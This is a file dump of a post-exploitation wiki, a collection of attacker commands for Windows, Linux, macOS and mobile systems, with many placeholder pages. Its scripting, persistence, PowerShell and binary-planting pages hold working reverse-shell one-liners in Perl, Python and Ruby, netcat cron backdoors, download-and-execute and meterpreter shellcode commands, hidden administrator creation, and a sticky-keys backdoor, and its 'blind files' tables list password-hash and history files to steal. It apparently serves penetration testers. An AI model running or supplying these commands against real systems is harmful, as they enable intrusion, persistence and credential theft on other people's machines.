├── .gitignore
├── linux
├── bash.md
├── privesc.md
├── persistance.md
├── blind.md
└── bulk.md
├── msf
├── exploit.md
├── post.md
├── railgun.md
├── tools.md
├── auxiliary.md
└── meterpreter.md
├── osx
├── bash.md
├── blind.md
├── privesc.md
├── persistance.md
└── bulk.md
├── otheros
├── zos.md
├── as400.md
├── cisco.md
└── juniper.md
├── images
├── logo.jpg
└── output.jpg
├── references
└── rosetta.htm
├── mdwiki-0.5.8
├── README.md
├── LICENSE.txt
└── GPLv3.txt
├── scripting
├── NodeJS.md
├── perl.md
├── ruby.md
└── python.md
├── windows
├── cmd.md
├── privesc.md
├── persistance.md
├── powershell.md
├── binary.md
├── blind.md
├── files.md
├── cover.md
├── find_files.md
├── mssql.md
├── uac.md
├── autostart.md
├── remote.md
├── windows_cmd_network.md
└── windows_cmd_config.md
├── LICENSE
├── mobile
├── ios.md
└── android.md
├── README.md
├── navigation.md
├── index.md
└── links.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
--------------------------------------------------------------------------------
/linux/bash.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/msf/exploit.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/msf/post.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/msf/railgun.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/msf/tools.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/osx/bash.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/osx/blind.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/osx/privesc.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/otheros/zos.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/msf/auxiliary.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/otheros/as400.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/otheros/cisco.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/otheros/juniper.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | Content coming. Feel free to submit ;-)
4 |
--------------------------------------------------------------------------------
/images/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mubix/post-exploitation-wiki/HEAD/images/logo.jpg
--------------------------------------------------------------------------------
/images/output.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mubix/post-exploitation-wiki/HEAD/images/output.jpg
--------------------------------------------------------------------------------
/references/rosetta.htm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mubix/post-exploitation-wiki/HEAD/references/rosetta.htm
--------------------------------------------------------------------------------
/mdwiki-0.5.8/README.md:
--------------------------------------------------------------------------------
1 | MDwiki
2 | ======
3 |
4 | See http://www.mdwiki.info/ for more documentation and details.
5 |
--------------------------------------------------------------------------------
/osx/persistance.md:
--------------------------------------------------------------------------------
1 | # Tools
2 | ## EggShell
3 |
4 |
5 | #### Refer to:
6 | https://github.com/neoneggplant/EggShell
7 |
--------------------------------------------------------------------------------
/msf/meterpreter.md:
--------------------------------------------------------------------------------
1 | # Meterpreter
2 |
3 | Just the commands built in to meterpreter, post modules and railgun are in their own sections.
4 |
--------------------------------------------------------------------------------
/scripting/NodeJS.md:
--------------------------------------------------------------------------------
1 | # NodeJS Commands and Scripts for Post Exploitation
2 |
3 |
4 | **Start a web server that serves the local files on port 8080**
5 | ```
6 | npm install -g http-server
7 | http-server
8 | ```
9 |
--------------------------------------------------------------------------------
/linux/privesc.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | ## 1 List Writeable Cron Directories
4 | ```ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null```
5 | ### Credit
6 | http://www.securitysift.com/download/recon_scan.zip
7 |
8 | More content coming. Feel free to submit ;-)
9 |
--------------------------------------------------------------------------------
/scripting/perl.md:
--------------------------------------------------------------------------------
1 | # Perl Commands and Scripts for Post Exploitation
2 |
3 | **Perl reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)**
4 |
5 | ```perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'```
6 |
--------------------------------------------------------------------------------
/windows/cmd.md:
--------------------------------------------------------------------------------
1 | # Windows CMD Commands
2 |
3 | Command that can be executed from the context of the CMD.exe prompt.
4 |
5 | * [Config Commands](windows_cmd_config.md) - Commands that display information about the configuration of the victim.
6 | * [Network Commands](windows_cmd_network.md) - Commands used for gathering information about the network settings and connections of a system.
7 | * [Remote Acccess Commands](windows_cmd_remote.md) - Commands to remotely administer systems.
8 |
9 |
--------------------------------------------------------------------------------
/scripting/ruby.md:
--------------------------------------------------------------------------------
1 | # Ruby Command and Scripts for Post Exploitation
2 |
3 | One liners
4 | -----------
5 |
6 | **Start a web server that serves the local files from current directory on port 8001**
7 |
8 | ```ruby -run -e httpd -- -p 8001 .```
9 |
10 | **Reverse /bin/sh shell on port 443 from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)**
11 |
12 | ```ruby -rsocket -e'f=TCPSocket.open("192.168.2.5",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'```
13 |
--------------------------------------------------------------------------------
/linux/persistance.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | ## Add a new cron job to the current user's crontab that will try to connect back to 192.168.100.100:50224 every 10 minutes:
4 | ```(crontab -u root -l; echo "*/10 * * * * nc 192.168.100.100 50224 -e /bin/bash") | crontab -u root -```
5 |
6 | ## Add a new cron job to the current user's crontab that will try to open a bind port every 10 minutes on port 5555:
7 | ```(crontab -u root -l; echo "*/10 * * * * nc -lvp 5555 -e /bin/bash") | crontab -u root -```
8 |
9 | Content coming. Feel free to submit ;-)
10 |
--------------------------------------------------------------------------------
/windows/privesc.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | ## 1 Get Permissions On Service Executables
4 | - 1a. Generate list of executables
5 | ```for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> C:\windows\temp\msntemp.tmp```
6 | - 1b. List Permissions - \Users:(I)(F) would be nice :)
7 | ```for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\msntemp.tmp) do cmd.exe /c icacls "%a"```
8 | #### Credit
9 | https://www.linkedin.com/pub/ben-clark/8/116/644
10 |
11 |
12 | More content coming. Feel free to submit ;-)
13 |
--------------------------------------------------------------------------------
/scripting/python.md:
--------------------------------------------------------------------------------
1 | # Python Command and Scripts for Post Exploitation
2 |
3 | One liners
4 | -----------
5 |
6 | **Start a web server that serves the local files on port 8000, single threaded**
7 | ```python
8 | python -m SimpleHTTPServer 8000
9 | ```
10 |
11 | **Python reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)**
12 |
13 | ```python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'```
--------------------------------------------------------------------------------
/windows/persistance.md:
--------------------------------------------------------------------------------
1 | # Place Holder
2 |
3 | ## Add an Administrator
4 | ```net user adm adm1 /add```
5 | ```net localgroup administrators adm /add```
6 |
7 | ## Add a Limited User with RDP Access
8 | ```net user lowlevel lowlevel1 /add```
9 | ```net localgroup "Remote Desktop USers" lowlevel /add```
10 |
11 | ## Schedule a Bind or Reverse EXE Payload to Run
12 | ```schtasks /create /TN "WindowsTaskSys1" /TR "C:\Users\low\executable.exe" /sc MINUTE```
13 |
14 | ## Scheduel a Bind or Reverse EXE Payload to Run as SYSTEM
15 | ```schtasks /create /TN "WindowsTaskSys1" /TR "C:\Users\low\executable.exe" /sc MINUTE /RU "SYSTEM"```
16 |
17 | Content coming. Feel free to submit ;-)
18 |
--------------------------------------------------------------------------------
/windows/powershell.md:
--------------------------------------------------------------------------------
1 | # Windows Powershell Commands and Scripts for Post Exploitation
2 |
3 | One liners
4 | -----------
5 |
6 | **Download and Execute Remote Powershell Script**
7 |
8 | ```iex (New-Object Net.WebClient).DownloadString("http://host/file.txt")```
9 |
10 | **Download and Save File**
11 |
12 | ```(new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe')```
13 |
14 | **Enumerate Allowed Outbound Ports 1-1024**
15 |
16 | ```$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream();
17 | $stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() -eq "w00tw00t"){echo "$_ Allowed out"}}```
18 |
19 | **Reverse Shell Using [PowerSploit's Invoke-Shellcode](https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)**
20 |
21 | ```Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 -Lport 443 -Force```
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2013 Rob Fuller
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy of
6 | this software and associated documentation files (the "Software"), to deal in
7 | the Software without restriction, including without limitation the rights to
8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
9 | the Software, and to permit persons to whom the Software is furnished to do so,
10 | subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/linux/blind.md:
--------------------------------------------------------------------------------
1 |
2 | # Linux Blind Files
3 |
4 | In some cases during exploitation you as an attacker gain the ability to read arbitrary files. As an attacker you need go-to files that cover as many different OS versions as possible in order to either confirm exploitation or gather intelligence on the exploited system. For this we use a "blind file".
5 |
6 | The files below are things to pull when all you can do is to blindly read. Examples of vulnerabilities or situations where this would be helpful might be: local file includes (LFI), directory traversals or remote file share instances like SMB, FTP, NFS or otherwise.
7 |
8 | | File | Description / Importance |
9 | | -------- | ------------------------ |
10 | | `/etc/issue` | A message or system identification to be printed before the login prompt. |
11 | | `/etc/motd` | Message of the day banner content. Can contain information about the system owners or use of the system. |
12 | | `/etc/passwd` | List of account names, groups, home directory, and shell (should be globally readable). |
13 | | `/etc/resolv.conf` | Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than `/etc/passwd`. |
14 | | `/etc/shadow` | List of all user's password hashes (requires root). |
15 | | `/home/[USERNAME]/.bash_history` `~/.bash_history` `/root/.bash_history` | Shell history for [USERNAME], the current user or root respectively. This file can contain passwords and other sensitive commands and content. |
--------------------------------------------------------------------------------
/mobile/ios.md:
--------------------------------------------------------------------------------
1 | # Tools
2 | ### iRET
3 |
4 | iRET is a set of tools that allows you to automate many of the manual tasks an iOS penetration tester would need to perform in order to analyze and reverse engineer iOS applications. And the bonus is...this can all be performed right on the device.
5 |
6 | Refer to:
7 | - https://www.veracode.com/iret-ios-reverse-engineering-toolkit-veracode
8 | - https://n0where.net/ios-macos-remote-administration-tool-eggshell/
9 |
10 | Download:
11 | - https://www.veracode.com/sites/default/files/Resources/Tools/iRETTool.zip
12 |
13 | ### Egg shell
14 |
15 | EggShell is an iOS and macOS post exploitation surveillance pentest tool written in Python. This tool creates 1 line multi stage payloads that give you a command line session with extra functionality. EggShell gives you the power and convenience of uploading/downloading files, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. Server communication features end to end encryption with 128 bit AES and the ability to handle multiple clients. This is a proof of concept pentest tool, intended for use on machines you own.
16 |
17 | Refer to:
18 | - https://github.com/neoneggplant/EggShell
19 |
20 | ### Bella
21 |
22 | Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS.
23 |
24 | Refer to:
25 | - https://github.com/Trietptm-on-Security/Bella
26 |
27 | # Reference
28 | - http://www.blackhat.com/presentations/bh-usa-09/IOZZO/BHUSA09-Iozzo-iPhoneMeterpreter-SLIDES.pdf
29 | - http://www.securitylearn.net/2012/09/09/metasploit-post-exploitation-scripts-to-steal-ios-5-backups/
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Post Exploitation Wiki
2 | ======================
3 |
4 | This wiki is powered by MDwiki which is a self contained wiki in a single HTML file.
5 |
6 | All you have to do to use the wiki is clone the repo to anywhere you can open HTML, served or local.
7 |
8 | Contributors please see here: https://github.com/mubix/post-exploitation-wiki/wiki/Contributor-Wiki
9 |
10 | ### Live Online Copy:
11 |
12 | You can find a copy of the project online at: http://mubix.github.io/post-exploitation-wiki/. If you are reading this from the live website and want to get to the Github repository click here -> https://github.com/mubix/post-exploitation-wiki.
13 |
14 | ### Offline Use:
15 |
16 | 1. Clone the repository or pull the archive ([download zip](https://github.com/mubix/post-exploitation-wiki/archive/master.zip)) of the repo
17 | 2. Open index.html
18 | 3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine.
19 |
20 | ### Reference Binaries:
21 |
22 | If the binary referenced isn't built into the respective OS, can be found here:
23 | https://github.com/mubix/post-exploitation
24 |
25 | #### Known issue with Chrome:
26 |
27 | Chrome doesn't allow local file access from local files loaded in the
28 | browser (ala index.html loading index.md). There are two ways around this. Use a web server to host
29 | it (Apache, nginx, python SimpleHTTPServer, etc) or start Chrome with the `--allow-file-access-from-files`
30 | argument. See here for more details: http://dynalon.github.io/mdwiki/#!faq.md
31 |
32 |
33 | ### More info about MDwiki:
34 |
35 | http://dynalon.github.io/mdwiki/#!index.md
36 |
--------------------------------------------------------------------------------
/navigation.md:
--------------------------------------------------------------------------------
1 | # Post Exploitation Wiki
2 |
3 | [Home](index.md)
4 |
5 | [Windows]()
6 |
7 | * [Autostart Locations](windows/autostart.md)
8 | * [Binary Planting](windows/binary.md)
9 | * [CMD Commands](windows/cmd.md)
10 | * [Covering Tracks](windows/cover.md)
11 | * [Files - Blind](windows/blind.md)
12 | * [Files - Finding](windows/find_files.md)
13 | * [Files - Important](windows/files.md)
14 | * [Persistance](windows/persistance.md)
15 | * [Powershell](windows/powershell.md)
16 | * [Privilege Escalation](windows/privesc.md)
17 | * [Remote Access](windows/remote.md)
18 | * [UAC Bypassing](windows/uac.md)
19 | * [MSSQL Servers](windows/mssql.md)
20 |
21 |
22 | [Linux]()
23 |
24 | * [Google Doc Content](linux/bulk.md)
25 | * [Files - Blind](linux/blind.md)
26 | * [SH/BASH Commands](linux/bash.md)
27 | * [Persistance](linux/persistance.md)
28 | * [Privilege Escalation](linux/privesc.md)
29 |
30 |
31 | [OSX]()
32 |
33 | * [Google Doc Content](osx/bulk.md)
34 | * [Bash Commands](osx/bash.md)
35 | * [Files - Blind](osx/blind.md)
36 | * [Persistance](osx/persistance.md)
37 | * [Privilege Escalation](osx/privesc.md)
38 |
39 | [Mobile]()
40 |
41 | * [Android](mobile/android.md)
42 | * [iOS](mobile/ios.md)
43 |
44 | [Other OSs]()
45 |
46 | * [zOS](otheros/zos.md)
47 | * [AS/400](otheros/as400.md)
48 | * [Cisco](otheros/cisco.md)
49 | * [Juniper](otheros/juniper.md)
50 |
51 | [Scripting]()
52 |
53 | * [Python](scripting/python.md)
54 | * [Ruby](scripting/ruby.md)
55 | * [Perl](scripting/perl.md)
56 |
57 | [Metasploit]()
58 |
59 | * [Meterpreter](msf/meterpreter.md)
60 | * [Auxiliary Modules](msf/aux.md)
61 | * [Exploit Modules](msf/exploit.md)
62 | * [Post Modules](msf/post.md)
63 | * [Railgun](msf/railgun.md)
64 | * [MSF Tools](msf/tools.md)
65 |
66 | [References]()
67 |
68 | * [Unix Rosetta Stone](references/rosetta.htm)
69 |
70 |
71 | [Links](links.md)
72 |
73 | [gimmick:themechooser](Wiki Theme)
74 |
--------------------------------------------------------------------------------
/windows/binary.md:
--------------------------------------------------------------------------------
1 | # Windows Binary Planting
2 |
3 | Binary Planting is essentially putting binary is a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges.
4 |
5 | | Command | Description / Importance |
6 | | ------- | ------------------------ |
7 | | `%SystemRoot%\System32\wbem\mof\` | Taken from Stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vulnerability. |
8 | | `echo $PATH` | Check the $PATH environmental variable. Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 |
9 | | `msiexec.exe` | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution. |
10 | | `sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys` | Create malicious services. |
11 | |Replacing file as: sethc.exe @echo off c: > nul\\cd\ > nul\\cd %SYSTEMROOT%\System32\ > nul if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul cmd %SYSTEMROOT%\System32\cmdsys\ > nul copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul exit | By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time. |
--------------------------------------------------------------------------------
/index.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | [Image Generated Here](http://www.addletters.com/pictures/restaurant-sign-generator/4729076.htm#.Um8oRyQeLuN)
4 |
5 | ### PostExploitation.com is a collection TTPs (tools, tactics, and procedures) for what to do after access has been gained.
6 |
7 | - - - - - -
8 |
9 | ### Live Online Copy:
10 |
11 | You can find a copy of the project online at: http://mubix.github.io/post-exploitation-wiki/
12 |
13 | ### Offline Use:
14 |
15 | 1. Clone the repository or pull the archive ([download zip](https://github.com/mubix/post-exploitation-wiki/archive/master.zip)) of the repo
16 | 2. Open index.html
17 | 3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine.
18 |
19 | #### Referenced tools can be found here: https://github.com/mubix/post-exploitation (If they aren't built into the OS)
20 |
21 | - - - - - -
22 | #### Submitting Content
23 |
24 | We realize that everyone has their favorite commands they run. Is your go-to content not up here? Want to submit it? Either submit a pull request or if you don't want to spend the time becoming a Git Jedi, just visit our [Google Form](https://docs.google.com/forms/d/1N7-jRjnUXoz-UwB2h0du2IrskFJW6hBGs4YsTwvEncE/viewform). Thanks!
25 |
26 | - - - - - -
27 | Curators:
28 |
29 | * [@mubix](https://twitter.com/mubix) [gimmick:TwitterFollow](@mubix)
30 | * [@WebBreacher](https://twitter.com/webbreacher) [gimmick:TwitterFollow](@WebBreacher)
31 | * [@tekwizz123](https://twitter.com/tekwizz123) [gimmick:TwitterFollow](@tekwizz123)
32 | * [@jakx_](https://twitter.com/jakx_) [gimmick:TwitterFollow](@jakx_)
33 |
34 | If you would like to become a curator, please contact [mubix@hak5.org](mailto:mubix@hak5.org)
35 |
36 | [gimmick:ForkMeOnGitHub ({ color: 'red', position: 'right' })](http://www.github.com/mubix/post-exploitation-wiki/)
37 |
--------------------------------------------------------------------------------
/links.md:
--------------------------------------------------------------------------------
1 | # Links
2 |
3 | Hardware
4 | ---------
5 |
6 | | Link | Description | Cost |
7 | |------|-------------|------|
8 | | [Raspberry Pi](http://www.raspberrypi.org/) | Small board, and low cost, there is a Kali Linux that is designed to run on it, but pretty slow processor | $25 |
9 | | [PwnPlug/Pad/etc](http://pwnieexpress.com/collections/premium-pentesting-products) | Plug is a based off a Sheeva plug with an attack distro (ubuntu based) installed on it. Looks a lot like a wall wart. | $995|
10 | | [BeagleBoard Black](http://beagleboard.org/Products/BeagleBone%20Black) | Description Needed | $45 |
11 | | [Hak5 Rubber Ducky](http://hakshop.myshopify.com/collections/usb-rubber-ducky) | A USB stick that acts as a keyboard, types out payloads quickly and automatically. | $36 |
12 | | [Hak5 Wifi Pineapple](http://hakshop.myshopify.com/collections/wifi-pineapple) | Wireless attack router | $99 |
13 | | [Odroid X2](http://en.wikipedia.org/wiki/Odroid) | More RAM than the Pi (2GB) | $135 |
14 | | [Udoo](http://www.udoo.org/)| Comparable with the Odroid X2 / Pwn Plug and Raspbery Pi | $100 |
15 | | [GoodFet/Facedancer](http://goodfet.sourceforge.net/) | A open source JTAG adapter "loosely based upon the TI MSP430 FET UIF and EZ430U boards". The Facedancer board allows you to emulate USB devices so that one host can manipulate the USB devices or services of a second host. The Goodfet boards are an earlier edition of the Facedancer boards but are more general purpose, supporting JTAG and, with recent additions, USB to become a universal serial bus. | $70 [Facedancer21](http://int3.cc/collections/frontpage/products/facedancer21) $50 [GoodFET42](https://www.adafruit.com/product/1279) |
16 |
17 | Software
18 | ---------
19 |
20 |
21 | Web Apps
22 | ---------
23 |
24 |
25 | Code Repos
26 | ---------
27 |
28 | | Link | Description |
29 | |------|-------------|
30 | | [Panoptic](https://github.com/lightos/Panoptic) | Finds exploitable paths for LFI and RFI |
31 | | [Daniel Miessler's SecLists Repo](https://github.com/danielmiessler/SecLists) | Solid repository of word lists for every occasion |
32 |
--------------------------------------------------------------------------------
/windows/blind.md:
--------------------------------------------------------------------------------
1 |
2 | # Windows Blind Files
3 |
4 | In some cases during exploitation you as an attacker gain the ability to read arbitrary files. As an attacker you need go-to files that cover as many different OS versions as possible in order to either confirm exploitation or gather intelligence on the exploited system. For this we use a "blind file".
5 |
6 | The files below are things to pull when all you can do is to blindly read. Examples of vulnerabilities or situations where this would be helpful might be: local file includes (LFI), directory traversals or remote file share instances like SMB, FTP, NFS or otherwise. Files that will have the same name across networks, Windows domains, and systems are noted below.
7 |
8 | | File | Description / Importance |
9 | | -------- | ------------------------ |
10 | | `%SYSTEMDRIVE%\boot.ini` | A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. **WARNING - in more recent versions of Windows this file in no longer there.** |
11 | | `%WINDIR%\win.ini` | This is another file that can be counted on to be readable by all users of a system. |
12 | | `%SYSTEMROOT%\repair\SAM` `%SYSTEMROOT%\System32\config\RegBack\SAM` | Stores user passwords in either an [LM hash](https://en.wikipedia.org/wiki/LM_hash) and/or an [NTLM hash](https://en.wikipedia.org/wiki/NTLM) format. The SAM file in \repair is locked, but can be retrieved using forensic or [Volume Shadow copy methods](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html). |
13 | | `%SYSTEMROOT%\repair\system` `%SYSTEMROOT%\System32\config\RegBack\system` | This is the SYSTEM registry hive. This file is needed to extract the user account password hashes from a Windows system. The SYSTEM file in \repair is locked, but can be retrieved using forensic or [Volume Shadow copy methods](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html). |
14 | | `%SYSTEMDRIVE%\autoexec.bat` | autoexec.bat is a startup script that executes at startup. As [Webopedia states](http://www.webopedia.com/TERM/A/autoexec_bat.html), “Stands for automatically executed batch file, the file that DOS automatically executes when a computer boots up. This is a convenient place to put commands you always want to execute at the beginning of a computing session. For example, you can set system parameters such as the date and time, and install memory-resident programs.” |
15 |
--------------------------------------------------------------------------------
/mdwiki-0.5.8/LICENSE.txt:
--------------------------------------------------------------------------------
1 | MDwiki is licensed under the terms of the GNU GPLv3 with additional terms and
2 | linking exceptions. The GPLv3 license text can be found in the GPLv3.txt file, the
3 | additional terms are given below this paragraph.
4 |
5 | Linking exceptions
6 | ------------------
7 |
8 | In addition to the terms in the GPLv3 the following linking exceptions apply:
9 |
10 | The authors of this work grant the rights to dynamically link against the below
11 | listed external sources or binaries during runtime, as an exception to the terms of
12 | the GNU GPLv3, under the terms that none of that linked code shall be deemed part of
13 | this work, or a derivative work of this work, and as such are not required to meet
14 | the license terms of the GPLv3 and as such are not covered by the terms of the GPLv3
15 | when conveying this work.
16 |
17 | The full and exhaustive list of those sources excepted from the GPLv3 are:
18 |
19 | * The Google Maps API v3 located at: http://maps.google.com/maps/api/js
20 | * The twitter "follow button" widget located at http://platform.twitter.com/widgets.js
21 | * The GitHub Gist API located at http://gist.github.com/{id}.js. This applies only to
22 | the javascript coded issues by GitHub Inc. and explicitly does not apply to the
23 | content of any GitHub gist.
24 | * The disqus API located at http://.disqus.com/embed.js where is the
25 | userid of the forum.
26 |
27 |
28 | Additional terms to GPLv3
29 | -------------------------
30 |
31 | In compliance with section 7 of the GNU GPLv3 the following additional terms apply:
32 |
33 | a) The contained and displayed copyright attribution footer notice may not be removed,
34 | modified, altered or styled, or being removed, modified, altered or styled by
35 | external software (scripts, stylesheets, filters) in a way that would considerably
36 | affect visibility or readability of the notice to the user or any third party that
37 | uses the software locally or over the network; this especially includes resizing,
38 | overlaying, hiding or similar techniques.
39 |
40 | b) You may adjust or style the copyright footer to suit the appearance or layout of
41 | your website, as long as this does not violate the terms given in section (a)
42 |
43 | c) Attribution hyperlinks in the footer have to be kept unaltered.
44 |
45 | d) You may add your name to the list of copyright holder(s) in the footer if you make
46 | changes to the work, keeping intact all other copyright holder names
47 |
48 | e) Changes to these terms require written permission by the copyright holder(s).
49 |
--------------------------------------------------------------------------------
/windows/files.md:
--------------------------------------------------------------------------------
1 | # Windows Important Files
2 |
3 | Files that can yield passwords or other intel about the system, network or users.
4 |
5 | | File | Description / Importance |
6 | | -------- | ------------------------ |
7 | | `%SYSTEMDRIVE%\pagefile.sys` | This file is used by the operating system when there is not enough RAM (memory) in the system. It is a large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size. |
8 | | `%SYSTEMROOT%\repair\SAM` `%SYSTEMROOT%\System32\config\RegBack\SAM` | These files store the LM and NTLM hashes for local users. Using [Volume Shadow Copy](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html) or [Ninja Copy](http://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/) you can retrieve these files. |
9 | | `%SystemDrive%\inetpub\logs\LogFiles` | IIS 7.x web server log file location. |
10 | | `%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat` | Internet Explorer web browser history file (http://support.microsoft.com/kb/322916) |
11 | | `%USERPROFILE%\ntuser.dat` | User-level Windows registry settings (http://technet.microsoft.com/en-us/library/cc758618(v=WS.10).aspx) |
12 | | `%WINDIR%\System32\drivers\etc\hosts` | System hosts file for local translation of host names to IP addresses. |
13 | | `%WINDIR%\debug\NetSetup.log` | Shows issues when computers are joined to a domain. http://technet.microsoft.com/en-us/library/cc961817.aspx |
14 | | `%WINDIR%\iis[version].log` where [version] = 6, 7, or 8 | Internet Information Service (IIS web server) log files. |
15 | | `%WINDIR%\repair\sam` `%WINDIR%\repair\system` `%WINDIR%\repair\software` `%WINDIR%\repair\security` | System registry hives. https://en.wikipedia.org/wiki/Windows_Registry |
16 | | `%WINDIR%\system32\CCM\logs\*.log` | Windows SCCM (System Center Configuration Manager) log files (http://technet.microsoft.com/en-us/library/bb892800.aspx) |
